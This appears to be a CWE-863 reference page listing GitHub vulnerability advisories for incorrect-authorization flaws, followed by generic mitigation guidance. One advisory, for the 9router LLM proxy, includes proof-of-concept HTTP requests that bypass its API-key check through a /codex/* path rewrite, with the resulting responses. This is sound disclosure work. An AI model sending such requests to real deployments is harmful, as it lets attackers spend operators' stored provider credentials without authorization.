CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
6863 vulnerabilities reference this CWE, most recent first.
GHSA-8FRH-VHGH-64CF
Vulnerability from github – Published: 2026-08-28 18:02 – Updated: 2026-08-28 18:02Impact
The legacy single-seat license checkin flow authorizes the action with the checkout permission instead of the checkin permission. Because of this, a user who is allowed to assign licenses but not unassign them can still directly access the old checkin endpoint and reclaim a license seat that is currently assigned to another user or asset.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.6.1"
},
"package": {
"ecosystem": "Packagist",
"name": "snipe/snipe-it"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55479"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T18:02:55Z",
"nvd_published_at": "2026-07-10T20:16:47Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe legacy single-seat license checkin flow authorizes the action with the `checkout` permission instead of the `checkin` permission. Because of this, a user who is allowed to assign licenses but not unassign them can still directly access the old checkin endpoint and reclaim a license seat that is currently assigned to another user or asset.",
"id": "GHSA-8frh-vhgh-64cf",
"modified": "2026-08-28T18:02:55Z",
"published": "2026-08-28T18:02:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/grokability/snipe-it/security/advisories/GHSA-8frh-vhgh-64cf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55479"
},
{
"type": "WEB",
"url": "https://github.com/grokability/snipe-it/commit/80c8aa41dc813b0815db00bb44eb0fff9f89a227"
},
{
"type": "PACKAGE",
"url": "https://github.com/grokability/snipe-it"
},
{
"type": "WEB",
"url": "https://github.com/grokability/snipe-it/releases/tag/v8.6.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Snipe-IT has incorrect permission for legacy license checkin API "
}
GHSA-8FXM-X2P7-6556
Vulnerability from github – Published: 2026-09-09 03:30 – Updated: 2026-09-09 15:34Incorrect authorization in DevTools in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
{
"affected": [],
"aliases": [
"CVE-2026-87492"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-09T01:17:05Z",
"severity": "CRITICAL"
},
"details": "Incorrect authorization in DevTools in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)",
"id": "GHSA-8fxm-x2p7-6556",
"modified": "2026-09-09T15:34:58Z",
"published": "2026-09-09T03:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87492"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_0808145027.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/529123409"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8G2H-4X5W-4V4P
Vulnerability from github – Published: 2024-09-10 15:31 – Updated: 2024-09-10 15:31Citrix Workspace App version 23.9.0.24.4 on Dell ThinOS 2311 contains an Incorrect Authorization vulnerability when Citrix CEB is enabled for WebLogin. A local unauthenticated user with low privileges may potentially exploit this vulnerability to bypass existing controls and perform unauthorized actions leading to information disclosure and tampering.
{
"affected": [],
"aliases": [
"CVE-2024-42423"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-10T15:15:17Z",
"severity": "MODERATE"
},
"details": "Citrix Workspace App version 23.9.0.24.4 on Dell ThinOS 2311 contains an Incorrect Authorization vulnerability when Citrix CEB is enabled for WebLogin. A local unauthenticated user with low privileges may potentially exploit this vulnerability to bypass existing controls and perform unauthorized actions leading to information disclosure and tampering.",
"id": "GHSA-8g2h-4x5w-4v4p",
"modified": "2024-09-10T15:31:05Z",
"published": "2024-09-10T15:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42423"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000225289/dsa-2024-229-security-update-for-dell-thinos-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8G5C-FVXQ-MW4M
Vulnerability from github – Published: 2025-08-07 12:30 – Updated: 2025-08-07 12:30A vulnerability was identified in the XPC services of Fantastical. The services failed to implement proper client authorization checks in its listener:shouldAcceptNewConnection method, unconditionally accepting requests from any local process. As a result, any local, unprivileged process could connect to the XPC service and access its methods.
This issue has been resolved in version 4.0.16.
{
"affected": [],
"aliases": [
"CVE-2025-8533"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-07T10:15:38Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in the XPC services of Fantastical. The services failed to implement proper client authorization checks in its listener:shouldAcceptNewConnection method, unconditionally accepting requests from any local process. As a result, any local, unprivileged process could connect to the XPC service and access its methods.\n\n\n\n\nThis issue has been resolved in version 4.0.16.",
"id": "GHSA-8g5c-fvxq-mw4m",
"modified": "2025-08-07T12:30:25Z",
"published": "2025-08-07T12:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8533"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2025/08/CVE-2025-8533"
},
{
"type": "WEB",
"url": "https://flexibits.com/fantastical"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8G79-9363-V5V2
Vulnerability from github – Published: 2026-09-07 18:31 – Updated: 2026-09-07 18:31In JetBrains YouTrack before 2026.2.18634 a crafted WebSocket message allowed read-only whiteboard users to modify canvas content
{
"affected": [],
"aliases": [
"CVE-2026-86487"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-07T17:17:26Z",
"severity": "LOW"
},
"details": "In JetBrains YouTrack before 2026.2.18634 a crafted WebSocket message allowed read-only whiteboard users to modify canvas content",
"id": "GHSA-8g79-9363-v5v2",
"modified": "2026-09-07T18:31:32Z",
"published": "2026-09-07T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86487"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8G9J-H3C4-Q352
Vulnerability from github – Published: 2024-08-13 09:30 – Updated: 2024-08-13 09:30A vulnerability has been identified in SINEC NMS (All versions < V3.0). The affected application does not properly enforce authorization checks. This could allow an authenticated attacker to bypass the checks and elevate their privileges on the application.
{
"affected": [],
"aliases": [
"CVE-2024-41939"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-13T08:15:14Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in SINEC NMS (All versions \u003c V3.0). The affected application does not properly enforce authorization checks. This could allow an authenticated attacker to bypass the checks and elevate their privileges on the application.",
"id": "GHSA-8g9j-h3c4-q352",
"modified": "2024-08-13T09:30:52Z",
"published": "2024-08-13T09:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41939"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-784301.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8GMQ-J984-VP4R
Vulnerability from github – Published: 2026-08-28 18:32 – Updated: 2026-08-28 18:32Summary
9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.
However, 9router also defines a rewrite that maps /codex/* to the backend LLM endpoint /api/v1/responses. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because /codex is not included in the middleware's protected LLM API prefix list, requests to /codex/* bypass the API-key gate and are later rewritten to the same backend used by /api/v1/responses.
As a result, an unauthenticated remote attacker can access the LLM proxy through /codex/* and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.
Details
| Component | File | Note |
|---|---|---|
| Middleware authorization gate | src/dashboardGuard.js |
Protects /v1, /v1beta, /api/v1, and /api/v1beta, but not /codex |
| Rewrite configuration | next.config.mjs |
Rewrites /codex/:path* to /api/v1/responses |
| LLM backend route | src/app/api/v1/responses/route.js |
Dispatches rewritten requests to the LLM handler |
| Chat handler | src/sse/handlers/chat.js |
Uses operator-stored provider credentials for upstream calls |
Tested version:
| Version / Commit | Runtime | Status |
|---|---|---|
v0.4.80, commit 23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56 |
Next.js 16.2.9 |
Affected |
Root Cause
The middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:
PUBLIC_PREFIXES = ["/v1", "/v1beta", "/api/v1", "/api/v1beta"];
Because /codex is not included in this list, a request such as /codex/x does not enter the LLM API authorization branch and falls through to:
return NextResponse.next();
The rewrite configuration then maps the allowed request to the protected backend route:
{
source: "/codex/:path*",
destination: "/api/v1/responses"
}
The backend route reaches the same handler used by the canonical LLM endpoint:
return await handleChat(request);
The handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.
PoC
The following requests use the same target server and the same remote-style Host header. The only meaningful difference is the request path.
Case 01 — Protected canonical endpoint rejects unauthenticated access
POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
Observed result:
HTTP/1.1 401 Unauthorized
This confirms that the canonical /api/v1/responses path is protected by the intended API-key gate.
Case 02 — Rewritten /codex/* path bypasses the API-key gate
POST /codex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
Observed result:
HTTP/1.1 200 OK
The request reaches the LLM backend without an API key.
A controlled upstream provider endpoint recorded the outbound request from 9router:
POST /responses
Authorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER
request-body marker present: true
operator key marker in Authorization: true
This confirms that the unauthenticated /codex/* request causes 9router to make an upstream provider call using the operator-stored credentials.
Case 03 — Unrelated unknown path does not reach the backend
POST /notcodex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
Observed result:
HTTP/1.1 404 Not Found
No upstream provider call is made. This isolates the issue to the /codex/* rewrite.
Case 04 — Canonical endpoint succeeds only with a valid API key
POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Authorization: Bearer sk-REDACTED
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
Observed result:
HTTP/1.1 200 OK
This confirms that the canonical endpoint is functional and that the 401 response in Case 01 is an authorization failure, not a backend error.
Attack Scenario
- A remote attacker identifies a publicly reachable 9router instance.
- The attacker sends LLM proxy requests to
/codex/*instead of/api/v1/responses. - The middleware evaluates the original
/codex/*path and does not apply the LLM API-key gate. - The rewrite maps the request to
/api/v1/responses. - The backend processes the request and performs an upstream provider call.
- The upstream call uses the operator-stored provider credentials.
Impact
A successful attacker can use the operator's configured LLM provider account without authentication.
Likely consequences include:
- Unauthorized use of the 9router LLM proxy.
- Consumption of the operator's provider credits or quota.
- Unexpected billing impact.
- Abuse of configured OpenAI/Anthropic-compatible providers.
- Exposure of model/provider behavior through proxy responses.
- Bypass of the intended API-key access control for remote LLM proxy access.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "9router"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55638"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T18:32:01Z",
"nvd_published_at": "2026-07-10T17:16:59Z",
"severity": "HIGH"
},
"details": "## Summary\n\n9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.\n\nHowever, 9router also defines a rewrite that maps `/codex/*` to the backend LLM endpoint `/api/v1/responses`. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because `/codex` is not included in the middleware\u0027s protected LLM API prefix list, requests to `/codex/*` bypass the API-key gate and are later rewritten to the same backend used by `/api/v1/responses`.\n\nAs a result, an unauthenticated remote attacker can access the LLM proxy through `/codex/*` and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.\n\n## Details\n\n| Component | File | Note |\n| ----------------------------- | ----------------------------------- | ------------------------------------------------------------------------- |\n| Middleware authorization gate | `src/dashboardGuard.js` | Protects `/v1`, `/v1beta`, `/api/v1`, and `/api/v1beta`, but not `/codex` |\n| Rewrite configuration | `next.config.mjs` | Rewrites `/codex/:path*` to `/api/v1/responses` |\n| LLM backend route | `src/app/api/v1/responses/route.js` | Dispatches rewritten requests to the LLM handler |\n| Chat handler | `src/sse/handlers/chat.js` | Uses operator-stored provider credentials for upstream calls |\n\nTested version:\n\n| Version / Commit | Runtime | Status |\n| ------------------------------------------------------------ | ---------------- | -------- |\n| `v0.4.80`, commit `23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56` | Next.js `16.2.9` | Affected |\n\n### Root Cause\n\nThe middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:\n\n```js\nPUBLIC_PREFIXES = [\"/v1\", \"/v1beta\", \"/api/v1\", \"/api/v1beta\"];\n```\n\nBecause `/codex` is not included in this list, a request such as `/codex/x` does not enter the LLM API authorization branch and falls through to:\n\n```js\nreturn NextResponse.next();\n```\n\nThe rewrite configuration then maps the allowed request to the protected backend route:\n\n```js\n{\n source: \"/codex/:path*\",\n destination: \"/api/v1/responses\"\n}\n```\n\nThe backend route reaches the same handler used by the canonical LLM endpoint:\n\n```js\nreturn await handleChat(request);\n```\n\nThe handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.\n\n## PoC\n\nThe following requests use the same target server and the same remote-style `Host` header. The only meaningful difference is the request path.\n\n### Case 01 \u2014 Protected canonical endpoint rejects unauthenticated access\n\n```http\nPOST /api/v1/responses HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 401 Unauthorized\n```\n\nThis confirms that the canonical `/api/v1/responses` path is protected by the intended API-key gate.\n\n### Case 02 \u2014 Rewritten `/codex/*` path bypasses the API-key gate\n\n```http\nPOST /codex/x HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThe request reaches the LLM backend without an API key.\n\nA controlled upstream provider endpoint recorded the outbound request from 9router:\n\n```text\nPOST /responses\nAuthorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER\nrequest-body marker present: true\noperator key marker in Authorization: true\n```\n\nThis confirms that the unauthenticated `/codex/*` request causes 9router to make an upstream provider call using the operator-stored credentials.\n\n### Case 03 \u2014 Unrelated unknown path does not reach the backend\n\n```http\nPOST /notcodex/x HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 404 Not Found\n```\n\nNo upstream provider call is made. This isolates the issue to the `/codex/*` rewrite.\n\n### Case 04 \u2014 Canonical endpoint succeeds only with a valid API key\n\n```http\nPOST /api/v1/responses HTTP/1.1\nHost: evil.attacker.com\nAuthorization: Bearer sk-REDACTED\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThis confirms that the canonical endpoint is functional and that the `401` response in Case 01 is an authorization failure, not a backend error.\n\n## Attack Scenario\n\n1. A remote attacker identifies a publicly reachable 9router instance.\n2. The attacker sends LLM proxy requests to `/codex/*` instead of `/api/v1/responses`.\n3. The middleware evaluates the original `/codex/*` path and does not apply the LLM API-key gate.\n4. The rewrite maps the request to `/api/v1/responses`.\n5. The backend processes the request and performs an upstream provider call.\n6. The upstream call uses the operator-stored provider credentials.\n\n## Impact\n\nA successful attacker can use the operator\u0027s configured LLM provider account without authentication.\n\nLikely consequences include:\n\n* Unauthorized use of the 9router LLM proxy.\n* Consumption of the operator\u0027s provider credits or quota.\n* Unexpected billing impact.\n* Abuse of configured OpenAI/Anthropic-compatible providers.\n* Exposure of model/provider behavior through proxy responses.\n* Bypass of the intended API-key access control for remote LLM proxy access.",
"id": "GHSA-8gmq-j984-vp4r",
"modified": "2026-08-28T18:32:01Z",
"published": "2026-08-28T18:32:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/decolua/9router/security/advisories/GHSA-8gmq-j984-vp4r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55638"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
},
{
"type": "PACKAGE",
"url": "https://github.com/decolua/9router"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass"
}
GHSA-8GPV-8V95-G9V9
Vulnerability from github – Published: 2022-05-24 17:18 – Updated: 2022-05-24 17:18IBM Spectrum Scale 4.2.0.0 through 4.2.3.21 and 5.0.0.0 through 5.0.4.4 could allow an authenticated GUI user to perform unauthorized actions due to missing function level access control. IBM X-Force ID: 178414
{
"affected": [],
"aliases": [
"CVE-2020-4348"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-05-27T14:15:00Z",
"severity": "MODERATE"
},
"details": "IBM Spectrum Scale 4.2.0.0 through 4.2.3.21 and 5.0.0.0 through 5.0.4.4 could allow an authenticated GUI user to perform unauthorized actions due to missing function level access control. IBM X-Force ID: 178414",
"id": "GHSA-8gpv-8v95-g9v9",
"modified": "2022-05-24T17:18:46Z",
"published": "2022-05-24T17:18:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4348"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/178414"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6213739"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8H27-9QVF-3872
Vulnerability from github – Published: 2022-08-04 00:00 – Updated: 2022-08-10 00:00An improper access control vulnerability [CWE-284] in FortiOS versions 6.2.0 through 6.2.11, 6.4.0 through 6.4.8 and 7.0.0 through 7.0.5 may allow an authenticated attacker with a restricted user profile to gather the checksum information about the other VDOMs via CLI commands.
{
"affected": [],
"aliases": [
"CVE-2022-23442"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-03T14:15:00Z",
"severity": "MODERATE"
},
"details": "An improper access control vulnerability [CWE-284] in FortiOS versions 6.2.0 through 6.2.11, 6.4.0 through 6.4.8 and 7.0.0 through 7.0.5 may allow an authenticated attacker with a restricted user profile to gather the checksum information about the other VDOMs via CLI commands.",
"id": "GHSA-8h27-9qvf-3872",
"modified": "2022-08-10T00:00:19Z",
"published": "2022-08-04T00:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23442"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-22-036"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8H32-FWQJ-XV4X
Vulnerability from github – Published: 2022-05-24 17:28 – Updated: 2022-05-24 17:28In showNotification of EmergencyCallbackModeService.java, there is a possible permission bypass due to an unsafe PendingIntent. This could lead to local information disclosure with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-8.0 Android-8.1 Android-9 Android-10 Android-11Android ID: A-154124307
{
"affected": [],
"aliases": [
"CVE-2020-0395"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-17T16:15:00Z",
"severity": "MODERATE"
},
"details": "In showNotification of EmergencyCallbackModeService.java, there is a possible permission bypass due to an unsafe PendingIntent. This could lead to local information disclosure with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-8.0 Android-8.1 Android-9 Android-10 Android-11Android ID: A-154124307",
"id": "GHSA-8h32-fwqj-xv4x",
"modified": "2022-05-24T17:28:48Z",
"published": "2022-05-24T17:28:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-0395"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2020-09-01"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.